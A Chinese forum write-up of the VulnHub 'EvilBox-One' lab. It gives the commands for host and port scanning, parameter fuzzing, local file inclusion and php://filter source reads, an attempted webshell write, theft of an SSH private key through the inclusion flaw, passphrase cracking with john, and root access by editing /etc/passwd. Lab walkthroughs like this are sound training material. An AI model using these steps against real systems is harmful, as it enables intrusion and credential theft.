靶机:https://download.vulnhub.com/evilbox/EvilBox---One.ova
攻击机:kali2022.2
目标:两个flag,root权限
没错,鸽了好久我又来了,主要这次在边界突破卡的有点久
主机发现(新方法fping)
端口扫描、服务探测
路径爆破(用过的dirsearch,gobuster,个人感觉gobuster更快)
参数爆破(下载了新字典集seclists,新工具fuff)
web渗透(模糊测试文件包含漏洞,新知识php封装器)
ssh爆破(探测ssh认证方式,ssh公私钥默认位置,新工具john)
提权(新知识find搜索suid权限文件,搜索可写权限的文件)
想了想把总结写到前面,这样小伙伴们可以看看有没有感兴趣的知识,之前放到最后感觉看到最后的人很少哇
fping -gaq 10.0.3.0/24
靶机ip:10.0.3.11
nmap -p- 10.0.3.11
nmap -p22,80 -A 10.0.3.11
22:ssh (ssh暴力破解)
80:apache
linux4.15-5.6
根目录动不了手脚
gobuster dir -u htttp://10.0.3.11 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
发现/secret,/index.html
空白页面,查看源码也是空白,继续扫描gobuster dir -u htttp://10.0.3.11/secret -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
发现/evil.php
依旧空空如也,可能是只有目录没有参数。
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w value.txt:VAL -u http://10.0.3.11/secret/evil.php?PARAM=VAL -fs 0
-w指定字典,第一个是PARAM参数的意思,字典来自burp的专业版,kali可以通过apt-get install seclists来下载seclists里面有很多的字典可用
第二个字典是参数的值,value.txt是我自己写的,在前面的打靶里说过,可以把键盘上所有能敲的字符做一个字典,来尝试让页面报错。-fs 0 是过滤掉回显空白的页面。
当然小伙伴们也可以用burp的爆破模块来做。
并没有发现。试试有没有文件包含漏洞,让字典里的所有参数的值等于一个确定已经有的文件。前面发现了index.php是确定有的。ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.0.3.11/secret/evil.php?FUZZ=../index.html -fs 0
发现command参数可用。
确认漏洞?command=../../../../../../../etc/passwd/
先跳出到根目录,在访问/etc/passwd
注意这个一看就不像是程序账户的用户mowree,后面要用
确认了有文件包含和任意文件读取漏洞。然后我写了一句话尝试了远程包含失败了,应该是只能本地包含。
?command=php://filter/convert.base64-encode/resource=evil.php
可以读取evil.php的源码然后通过base64加密返回。
解码
<?php
$filename = $_GET['command'];
include($filename);
?>
如果不声明的话filter封装器默认是用read,也可以用wirte写入文件。只要有写入权限就webshell了。?command=php://filter/write=convert.base64-decode/resource=test.php&txt=c2hhbnF1ZQo=
寄
先探测ssh登陆的认证过程ssh mowree@10.0.3.11 -v
支持ssh公钥登陆。思路明确了,用文件包含去读取默认的ssh公私钥。?command=../../../../../home/mowree/.ssh/authorized_keys
?command=../../../../../home/mowree/.ssh/id_rsa
在源码中查看私钥会比较友好,不然页面上真是乱的。。。。
创建id_rsa,把获取到的私钥丢进去,给权限。ssh 对目录的权限有要求,代码中要设置下新生成的config文件权限才行。
~目录权限是750,~/.ssh 的是700, ~/.ssh/* 的是600,~/.ssh/config 是700
vi id_rsa
chmod 600 id_rsa
ssh mowree@10.0.3.11 -i id_rsa
私钥文件还有一个密码,我tm直接好家伙。
爆破密码
用到kali自带工具john,先要转换私钥的格式才能用这个工具爆破
cd /usr/share/john
ls ssh2john.py
./ssh2john.py ~/id_rsa > ~/hash
john hash --wordlist=rockyou.txt
私钥文件的加密密码为unicorn
至此成功突破边界。
第一个flag:56Rbp0soobpzWSVzKh9YOvzGLgtPZQ
sudo -l,内核漏洞,计划任务提权失败后,尝试suid提权
搜索具有suid权限位的文件find / -perm /4000 2>dev/null
并没有漏洞发现。
查看有没有自己写的有root权限的脚本,我们可以去编辑的find / -writable 2>/dev/null
居多/proc的,这是个内存映像目录,没用,把它过滤掉find / -wirtable 2>/dev/null | grep -v proc
???这不给tmROOT密码改了
生成一个密码shanqueopenssl passwd -l
把生成的密文贴到/etc/passwd里面,把root后面的代表密码的x删了。
flag2:36QtXfdJWvdC0VavlPIApUbDlqTsBM
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 60.00 | 0 | 2022-06-13 11:11:16 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.